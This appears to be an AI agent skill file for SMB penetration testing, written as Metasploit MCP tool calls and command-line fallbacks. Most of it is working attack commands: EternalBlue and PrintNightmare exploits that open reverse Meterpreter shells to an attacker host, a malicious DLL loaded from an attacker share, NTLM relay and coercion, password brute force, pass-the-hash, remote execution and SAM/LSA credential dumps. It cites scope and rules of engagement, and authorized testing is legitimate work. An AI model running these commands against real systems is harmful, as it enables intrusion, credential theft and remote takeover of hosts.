smb-pentest

name	smb-pentest
description	Guides SMB/CIFS service penetration testing. Use when port 445 or 139 is discovered during scanning or when SMB file sharing is identified on a target.

SMB Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Domain targets: also load internal-ad-pentest.
• Always run msf_module_check before exploit modules.

Ports and detection

Port	Service
445/tcp	SMB over IP (primary on modern Windows)
139/tcp	NetBIOS session service (legacy)

Service fingerprint

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/smb/smb_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 445, "THREADS": 5}
)

CLI fallback:

nmap -sV -p 445,139 --script smb-enum-shares,smb-enum-users,smb-os-discovery,smb-security-mode <target>
nbtscan -r <target>/24

Workflow

Task Progress:
- [ ] Version and signing enumeration
- [ ] Null session / anonymous access testing
- [ ] Share and user enumeration
- [ ] GPP cpassword and MS17-010 checks
- [ ] Coercion / relay / exploit prep
- [ ] Document findings

Share enumeration

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/smb/smb_enumshares",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "SMBUser": "", "SMBPass": "", "THREADS": 5}
)

CLI fallback:

smbclient -L //<target> -N
crackmapexec smb <target> --shares
enum4linux-ng -A <target>
smbmap -H <target>

User and SID enumeration

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/smb/smb_enumusers",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "SMBUser": "", "SMBPass": "", "THREADS": 5}
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/smb/smb_lookupsid",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "SMBUser": "", "SMBPass": "", "THREADS": 5}
)

CLI fallback:

rpcclient -U "" -N <target> -c "enumdomusers;enumdomgroups;querydispinfo"
lookupsid.py -no-pass <target>
crackmapexec smb <target> --users --groups --loggedon-users

Null session and anonymous access

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/smb/smb_enumusers",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "SMBUser": "", "SMBPass": ""}
)

CLI fallback:

rpcclient -U "" -N <target> -c "enumdomusers;enumdomgroups"
crackmapexec smb <target> -u '' -p '' --pass-pol
samrdump.py -port 445 [[domain/]user[:pass]@]<target>

GPP cpassword harvest

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/smb/smb_enum_gpp",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "SMBUser": "<user>", "SMBPass": "<pass>", "SMBDomain": "<domain>"}
)

CLI fallback:

crackmapexec smb <target> -u <user> -p '<pass>' -M gpp_autologin
crackmapexec smb <target> -u <user> -p '<pass>' -M gpp_password
Get-GPPPassword.ps1   # from compromised Windows host
gpp-decrypt <cpassword_blob>

MS17-010 detection and exploitation

EternalBlue (unauthenticated)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/smb/smb_ms17_010",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 445, "THREADS": 5}
)
msf_module_check(
  module_name="exploit/windows/smb/ms17_010_eternalblue",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "RPORT": 445}
)
msf_run_exploit(
  module_name="exploit/windows/smb/ms17_010_eternalblue",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 445},
  payload="windows/x64/meterpreter/reverse_tcp",
  payload_options={"LHOST": "<attacker>", "LPORT": 4444}
)

CLI fallback:

nmap --script smb-vuln-ms17-010 -p 445 <target>
crackmapexec smb <target> -M ms17-010
wsl -e bash -lc "msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS <target>; check; exit'"

Authenticated PSExec (credentials required)

MSF MCP (preferred):

msf_run_exploit(
  module_name="exploit/windows/smb/ms17_010_psexec",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "SMBUser": "<user>", "SMBPass": "<pass>", "SMBDomain": "."},
  payload="windows/meterpreter/reverse_tcp",
  payload_options={"LHOST": "<attacker>", "LPORT": 4444}
)

Note: msf_module_check is recommended but optional for credential-based execution modules.

CLI fallback:

impacket-psexec <domain>/<user>:<pass>@<target>
crackmapexec smb <target> -u <user> -p '<pass>' -x whoami

SMB signing and relay prep

MSF: No direct signing detection module; use CLI.

CLI fallback:

crackmapexec smb <target> --gen-relay-list unsigned.txt
nmap --script smb-security-mode -p 445 <target>

Relay (signing disabled on victim, verify ROE):

ntlmrelayx.py -tf targets.txt -smb2support
responder -I eth0 -rdwv

PetitPotam / Coercer coercion

MSF: No direct module; use CLI.

CLI fallback:

# PetitPotam - coerce DC to authenticate to attacker listener
python3 petitpotam.py -d <domain> -u <user> -p '<pass>' <attacker_ip> <target_ip>
python3 petitpotam.py -d '' -u '' -p '' <attacker_ip> <target_ip>   # unauth if vulnerable

# Coercer - multiple RPC coercion methods
coercer scan -t <target_ip> -u <user> -p '<pass>' -d <domain>
coercer coerce -t <target_ip> -l <listener_ip> -u <user> -p '<pass>' -d <domain>

Pair with ntlmrelayx.py or capture hashes for relay/crack.

PrintNightmare (Spooler abuse)

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/windows/dcerpc/cve_2021_1675_printnightmare",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>"}
)
msf_run_exploit(
  module_name="exploit/windows/dcerpc/cve_2021_1675_printnightmare",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RHOST": "<target>"},
  payload="windows/x64/meterpreter/reverse_tcp",
  payload_options={"LHOST": "<attacker>", "LPORT": 4444}
)

CLI fallback:

rpcdump.py @<target> | grep -i spooler
python3 CVE-2021-1675.py <domain>/<user>:<pass>@<target> '\\<attacker>\share\evil.dll'
impacket-rpcdump @<target> | grep spools

Requires Spooler running and driver install policy not hardened.

Authentication brute force

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/smb/smb_login",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "SMBUser": "administrator",
    "SMBPass": "password",
    "SMBDomain": ".",
    "STOP_ON_SUCCESS": true,
    "THREADS": 5
  }
)

CLI fallback:

crackmapexec smb <target> -u users.txt -p passwords.txt
nmap --script smb-brute -p 445 <target>

Remote execution (PSExec / WMI)

MSF MCP (preferred):

msf_run_exploit(
  module_name="exploit/windows/smb/psexec",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "SMBUser": "<user>", "SMBPass": "<pass>", "SMBDomain": "<domain>"},
  payload="windows/meterpreter/reverse_tcp",
  payload_options={"LHOST": "<attacker>", "LPORT": 4444}
)

Note: msf_module_check is recommended but optional for credential-based execution modules.

CLI fallback:

crackmapexec smb <target> -u <user> -p '<pass>' -x whoami
impacket-psexec <domain>/<user>:<pass>@<target>
impacket-wmiexec <domain>/<user>:<pass>@<target>

Pass-the-hash

MSF MCP (preferred):

msf_run_exploit(
  module_name="exploit/windows/smb/psexec",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "SMBUser": "<user>", "SMBPass": "<NT_HASH>", "SMBDomain": "<domain>"},
  payload="windows/meterpreter/reverse_tcp",
  payload_options={"LHOST": "<attacker>", "LPORT": 4444}
)

Note: msf_module_check is recommended but optional for credential-based execution modules.

CLI fallback:

crackmapexec smb <target> -u <user> -H <NT_HASH> --sam --lsa
smbclient --pw-nt-hash -U '<user>%<NT_HASH>' //<target>/C$

Manual share probing

Common shares: C$, D$, ADMIN$, IPC$, SYSVOL, NETLOGON.

smbclient -U '%' -N \\\\<target>\\<SHARE>
crackmapexec smb <target> --spider-plus --share '<share>'

Post-access

• Dump SAM/LSA: crackmapexec smb <target> --sam --lsa
• Spider shares for web.config, Registry.xml, GPP XML in SYSVOL
• Read registry: reg.py <domain>/<user>@<target> -hashes <hash> query -keyName HKLM -s
• Run post module after session: post/windows/gather/credentials/gpp

Related skills

• internal-ad-pentest - domain enumeration, NTLM relay, lateral movement
• windows-pentest - Windows host post-access and privesc
• nfs-pentest - Samba/NFS overlap misconfigs